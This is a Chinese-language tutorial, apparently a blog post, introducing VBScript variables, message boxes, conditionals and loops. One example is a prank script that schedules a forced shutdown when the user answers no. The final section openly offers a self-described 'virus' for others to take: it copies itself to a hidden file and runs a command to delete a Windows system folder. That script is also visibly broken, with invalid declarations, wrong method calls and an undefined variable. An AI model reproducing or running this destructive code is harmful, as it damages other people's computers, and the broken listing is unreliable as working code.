VBS 脚本语言概述
VBS 是一种 Windows 脚本语言,全称是 Microsoft Visual Basic Script Editon(微软公司可视化 BASIC 脚本版)。
VBS 是系统内置的,用它编写的脚本不用编译成二进制文件,直接就由 Windows 系统宿主 host 解释源代码并执行。
他不需要特定的编译环境,任意的文本编辑器都可以进行编写,初学者用 Windows 自带的“记事本(Notepad)”就可以进行编写和执行,如果想深入学习的话,还是建议用专业的编辑器,支持代码高亮的,更方便一些, Notepad++ 就挺不错。
VBS 变量基本定义
对于任何一个编程语言,我们首先关心的是如何定义一个变量。在Visual Basic Script 中,定义一个变量的正规模式是:dim 变量名
当然,如果你不定义变量而是直接使用也是没有任何问题的,就像Python那样,可以不用声明而直接使用,但是我们在这里还是建议遵循一下变量的先声明,后使用的原则。
dim a, b
a = 10
b = 5
msgbox a + b
这里的 msgbox 是一个vbs中的关键字,基本作用是弹出一个弹框,显示你想要显示的信息,msgbox 可以显示各种类型的变量。
变量的类型与其他语言基本上都是一样的,比如:字符串、整型数、浮点型数、布尔型数字(True 和 False),但是,我们在这里不需要指明某一个变量具体是哪一种类型的变量,编译器是会直接自己识别变量的类型的。
VBS 判断语句
接下来,我们首先介绍一下判断语句,然后再去看看循环语句,显示判断语句。如果你接触过其他的编程语言,你一定对判断语句一点都不陌生,在 vbs 中也是同样的,语法也就是 if,else,else if 等等。具体的书写略有不同啦,例如下述的代码:
dim str
str = msgbox("Do you love me?", vbYesNo, "LOVE")
if str = vbYes then
msgbox "I love you too, I think we will be happy!"
else
msgbox "I will close your computer!"
set sh = wscript.createobject("wscript.shell")
sh.run "shutdown -s -t 300"
end if
sh.run “shutdown -s -t 300” 执行自动关机 300 秒后
如何进行阻止自动关机的代码:
Set ws = WScript.CreateObject("Wscript.Shell")
ws.Run "shutdown -a"
VBS 循环语句
循环语句基本语法:
For...Next 语句运行一段语句指定的次数
For Each...Next 语句针对集合中的每个项目或者数组中的每个元素来运行某段语句。
Do...Loop 语句运行循环,当条件为 true 或者直到条件为 true 时。
循环语句基本案例:
Dim Count:Count = 5 '定义一个变量
Do Until Count = 0 '直到Count 变量为 0 时,否则一直循环
MsgBox Count
Count = Count -1
Loop
MsgBox "循环结束"
Dim Count:Count = 5 '定义一个变量
Do
MsgBox Count
Count = Count -1
Loop Until Count = 0 '直到Count变量为 0 时,否则一直循环
MsgBox "循环结束"
就比如:
dim str
do until str = "yes"
msgbox "do you love me ?"
str = inputbox("yes or no", "ANSWER", "yes")
loop
运行结果:
VBS 程序案例
对于任何一个编程语言,我们首先关心的是如何定义一个变量
在Visual Basic Script 中,定义一个变量的正规模式是:dim 变量名
这里的 msgbox 是一个vbs中的关键字,作用是弹出一个弹框,显示你想要显示的信息
msgbox 可以显示各种类型的变量。
在vbs中,变量的类型与其他语言基本上都是一样的,比如:字符串、整型数、浮点型数、布尔型数字(True 和 False),但是,我们在这里不需要指明某一个变量具体是哪一种类型的变量,编译器是会直接自己识别变量的类型的。
在 vbs 中,想要输入是需要首先弹出来一个弹框,然后进行输入的。
例如下述代码:
dim str-
str = inputbox("please input your name here","Title","default value")
msgbox str
在这里的输出方式其实我们已经在前文中使用了很多次了,就是上述的那个 msgbox 关键字,它的作用就是弹出一个弹框,然后显示出你想要显示的信息
比如:我们在第一个例子中输出的数字 30, 以及我们在第二个例子中所显示的字符串: “唤醒手腕哈哈哈”,总之就是由 msgbox 这个弹框进行显示信息,相当于 C++ 中的 cout,也相当于是 Python 中的 print 等等,是一个输出,只是与其他语言的输出方式不太一样罢了。
案例 2:打开 cmd 窗口
Set WshShell = createobject("wscript.shell")
WshShell.run "cmd"
VBS 编写系统病毒
底下是我编的病毒,有人想要的可以拿去,但是,千万不要拿来做坏事,可能会你的同学们挨揍。
dim fso,copy,wshshell,Const Hidden
set fso = createobject(“scripting.filesystemobject”)
set copy = fso.getfile(wscript.scriptfullname)
copy.fso("c:\users\computer virus.vbs")
'复制自身到c:\users\ 复制体叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile("c:\users\computer virus.vbs")
'隐藏复制体
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd/c del c:\Windows\system"
'太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。
'不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。
'你可以在命令提示符里输入del/?查看帮助.